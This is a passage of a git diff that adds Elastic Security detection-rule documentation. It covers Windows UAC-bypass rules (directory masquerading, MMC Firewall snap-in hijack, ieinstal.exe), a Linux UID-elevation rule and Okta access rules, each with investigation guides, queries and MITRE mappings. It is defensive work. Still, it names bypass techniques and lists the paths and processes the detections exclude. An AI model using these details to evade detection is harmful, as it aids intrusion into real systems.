Sysmon, Microsoft Defender for Endpoint, or SentinelOne to identify any related malicious activity. +- Investigate the user account associated with the process to determine if there are any signs of compromise or unauthorized access attempts. +- Assess the risk and impact of the potential UAC bypass attempt on the system and broader network, and take appropriate containment or remediation actions if necessary. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they temporarily use the specified directory structure. Users can monitor the frequency and context of these alerts to determine if they align with known software behaviors. +- Development or testing environments might generate alerts due to the execution of scripts or applications from temporary directories. Users can create exceptions for specific environments or processes that are known to be safe. +- System administrators or IT personnel performing legitimate administrative tasks might inadvertently trigger the rule. Users can exclude specific user accounts or processes from monitoring if they are verified as non-threatening. +- Automated software deployment tools that use temporary directories for installation processes may cause false positives. Users can whitelist these tools by verifying their code signatures and adding them to an exception list. +- Regularly review and update the list of trusted applications and processes to ensure that only verified and necessary exceptions are in place, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified by the detection rule, specifically those originating from temporary directories and launched by "ieinstal.exe" with the "-Embedding" argument. +- Conduct a thorough review of the affected system to identify any additional unauthorized changes or malware installations, focusing on temporary directories and COM interface usage. +- Restore the system to a known good state using backups or system restore points, ensuring that any malicious changes are reversed. +- Update and patch the affected system to the latest security updates to mitigate known vulnerabilities that could be exploited for UAC bypass. +- Implement application whitelisting to prevent unauthorized executables from running, particularly those in temporary directories. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : "C:\\*\\AppData\\*\\Temp\\IDC*.tmp\\*.exe" and + process.parent.name : "ieinstal.exe" and process.parent.args : "-Embedding" + + /* uncomment once in winlogbeat */ + /* and not (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc new file mode 100644 index 0000000000..b4c239ef49 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-uac-bypass-attempt-via-windows-directory-masquerading]] +=== UAC Bypass Attempt via Windows Directory Masquerading + +Identifies an attempt to bypass User Account Control (UAC) by masquerading as a Microsoft trusted Windows directory. Attackers may bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating UAC Bypass Attempt via Windows Directory Masquerading* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +This rule identifies an attempt to bypass User Account Control (UAC) by masquerading as a Microsoft trusted Windows directory. Attackers may bypass UAC to stealthily execute code with elevated permissions. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze any suspicious spawned processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : ("C:\\Windows \\system32\\*.exe", "C:\\Windows \\SysWOW64\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc new file mode 100644 index 0000000000..80a23596f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-uac-bypass-via-windows-firewall-snap-in-hijack]] +=== UAC Bypass via Windows Firewall Snap-In Hijack + +Identifies attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in. Attackers bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/AzAgarampur/byeintegrity-uac + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating UAC Bypass via Windows Firewall Snap-In Hijack* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +This rule identifies attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in. Attackers bypass UAC to stealthily execute code with elevated permissions. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze any suspicious spawned processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name == "mmc.exe" and + /* process.Ext.token.integrity_level_name == "high" can be added in future for tuning */ + /* args of the Windows Firewall SnapIn */ + process.parent.args == "WF.msc" and process.name != "WerFault.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uid-elevation-from-previously-unknown-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uid-elevation-from-previously-unknown-executable.asciidoc new file mode 100644 index 0000000000..b8bb6122a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uid-elevation-from-previously-unknown-executable.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-20-uid-elevation-from-previously-unknown-executable]] +=== UID Elevation from Previously Unknown Executable + +Monitors for the elevation of regular user permissions to root permissions through a previously unknown executable. Attackers may attempt to evade detection by hijacking the execution flow and hooking certain functions/syscalls through a rootkit in order to provide easy access to root via a special modified command. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UID Elevation from Previously Unknown Executable* + + +In Linux environments, UID elevation is a process where a user's permissions are increased, often to root level, allowing full system control. Adversaries exploit this by using unknown executables to hijack execution flow, often via rootkits, to gain unauthorized root access. The detection rule identifies such activities by monitoring for UID changes initiated by non-standard executables, excluding known safe paths and processes, thus highlighting potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the unknown executable that triggered the alert, focusing on the process.executable field to determine its path and origin. +- Examine the parent process information using process.parent.name to understand the context in which the unknown executable was launched, checking for any unusual or unexpected shell activity. +- Investigate the user account associated with the UID change by analyzing the user.id field to determine if the account has a history of privilege escalation attempts or if it has been compromised. +- Check the system logs for any recent changes or installations that might have introduced the unknown executable, focusing on the time frame around the event.action:"uid_change". +- Assess the network activity around the time of the alert to identify any potential external connections or data exfiltration attempts that might correlate with the privilege escalation. +- Cross-reference the executable path and name against known threat intelligence databases to determine if it is associated with any known malicious activity or rootkits. +- If possible, perform a forensic analysis of the executable to understand its behavior and potential impact on the system, looking for signs of function or syscall hooking as indicated in the rule description. + + +*False positive analysis* + + +- Executables in custom directories may trigger false positives if they are legitimate but not included in the known safe paths. Users can mitigate this by adding these directories to the exclusion list in the detection rule. +- Scripts or binaries executed by system administrators from non-standard locations for maintenance or deployment purposes might be flagged. To handle this, users should document and exclude these specific processes or paths if they are verified as safe. +- Development or testing environments where new executables are frequently introduced can cause alerts. Users should consider creating exceptions for these environments or paths to reduce noise while ensuring they are monitored separately for any unusual activity. +- Automated scripts or tools that perform legitimate UID changes but are not part of the standard system paths can be excluded by adding their specific executable paths or names to the rule's exception list. +- Temporary or ephemeral processes that are part of containerized applications might be flagged. Users should review and exclude these processes if they are confirmed to be part of normal operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule that are not part of the known safe paths or processes. +- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or related suspicious activities. +- Remove any unauthorized or unknown executables found on the system, especially those involved in the UID elevation attempt. +- Restore the system from a known good backup if any rootkits or persistent threats are detected that cannot be easily removed. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and event.category:"process" and event.action:"uid_change" and event.type:"change" and user.id:"0" +and process.parent.name:("bash" or "dash" or "sh" or "tcsh" or "csh" or "zsh" or "ksh" or "fish") and not ( + process.executable:( + /bin/* or /usr/bin/* or /sbin/* or /usr/sbin/* or /snap/* or /tmp/newroot/* or /var/lib/docker/* or /usr/local/* or + /opt/psa/admin/* or /usr/lib/snapd/snap-confine or /opt/dynatrace/* or /opt/microsoft/* or + /var/lib/snapd/snap/bin/node or /opt/gitlab/embedded/sbin/logrotate or /etc/apt/universal-hooks/* or + /opt/puppetlabs/puppet/bin/puppet or /opt/cisco/* or /run/k3s/containerd/* or /usr/lib/postfix/sbin/master or + /usr/libexec/postfix/local or /var/lib/snapd/snap/bin/postgresql* or /opt/puppetlabs/puppet/bin/ruby + ) or + process.name:( + "bash" or "dash" or "sh" or "tcsh" or "csh" or "zsh" or "ksh" or "fish" or "sudo" or "su" or "apt" or "apt-get" or + "aptitude" or "squid" or "snap" or "fusermount" or "pkexec" or "umount" or "master" or "omsbaseline" or "dzdo" or + "sandfly" or "logrotate" or "nix-installer" or "sapstartsrv" or "microk8s" or "vrns_watchdog" or "sdbgloballistener" or + "clean_user_php_sessions" or "nsca_wrapper" + ) or + process.args:/usr/bin/python* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: KernelCallbackTable +** ID: T1574.013 +** Reference URL: https://attack.mitre.org/techniques/T1574/013/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unauthorized-access-to-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unauthorized-access-to-an-okta-application.asciidoc new file mode 100644 index 0000000000..b4d3d08251 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unauthorized-access-to-an-okta-application.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-unauthorized-access-to-an-okta-application]] +=== Unauthorized Access to an Okta Application + +Identifies unauthorized access attempts to Okta applications. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unauthorized Access to an Okta Application* + + +Okta is a widely used identity management service that facilitates secure user authentication and access to applications. Adversaries may exploit valid credentials to gain unauthorized access, bypassing security controls. The detection rule monitors specific Okta system events for unauthorized access attempts, leveraging event datasets and actions to identify potential breaches, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:app.generic.unauth_app_access_attempt to identify the specific unauthorized access attempts. +- Identify the user accounts involved in the unauthorized access attempts and check for any unusual activity or patterns associated with these accounts. +- Investigate the source IP addresses associated with the unauthorized access attempts to determine if they are known or suspicious, and check for any geolocation anomalies. +- Examine the timestamps of the unauthorized access attempts to see if they coincide with any other suspicious activities or known incidents. +- Check for any recent changes in user permissions or configurations in the Okta system that might have facilitated the unauthorized access attempts. +- Contact the affected users to verify if they were aware of the access attempts and to ensure their credentials have not been compromised. + + +*False positive analysis* + + +- Employees accessing applications from new devices or locations may trigger alerts. Regularly update the list of known devices and locations to minimize these false positives. +- Automated scripts or tools used for application testing might mimic unauthorized access attempts. Identify and whitelist these scripts to prevent unnecessary alerts. +- Users with multiple accounts accessing the same application can be mistaken for unauthorized access. Maintain an updated list of legitimate multi-account users to reduce false positives. +- Changes in user roles or permissions might lead to temporary access issues. Coordinate with HR or IT departments to ensure role changes are reflected promptly in the system. +- Scheduled maintenance or updates to applications can generate access attempts that appear unauthorized. Exclude these events by aligning detection rules with maintenance schedules. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access. +- Review and reset the credentials for the compromised account, ensuring the new password adheres to strong security policies. +- Conduct a thorough audit of recent activities associated with the compromised account to identify any unauthorized changes or data access. +- Notify the affected user and relevant stakeholders about the incident, providing guidance on recognizing phishing attempts and securing their accounts. +- Escalate the incident to the security operations team for further investigation and to determine if additional accounts or systems have been compromised. +- Implement multi-factor authentication (MFA) for the affected account and any other accounts that do not currently have it enabled to enhance security. +- Update and refine monitoring rules to detect similar unauthorized access attempts in the future, ensuring quick identification and response. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:app.generic.unauth_app_access_attempt + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc new file mode 100644 index 0000000000..e7b8473cb9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials]] +=== Unauthorized Scope for Public App OAuth2 Token Grant with Client Credentials + +Identifies a failed OAuth 2.0 token grant attempt for a public client app using client credentials. This event is generated when a public client app attempts to exchange a client credentials grant for an OAuth 2.0 access token, but the request is denied due to the lack of required scopes. This could indicate compromised client credentials in which an adversary is attempting to obtain an access token for unauthorized scopes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule where the `okta.actor.display_name` field value has not been seen in the last 14 days regarding this event. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/ 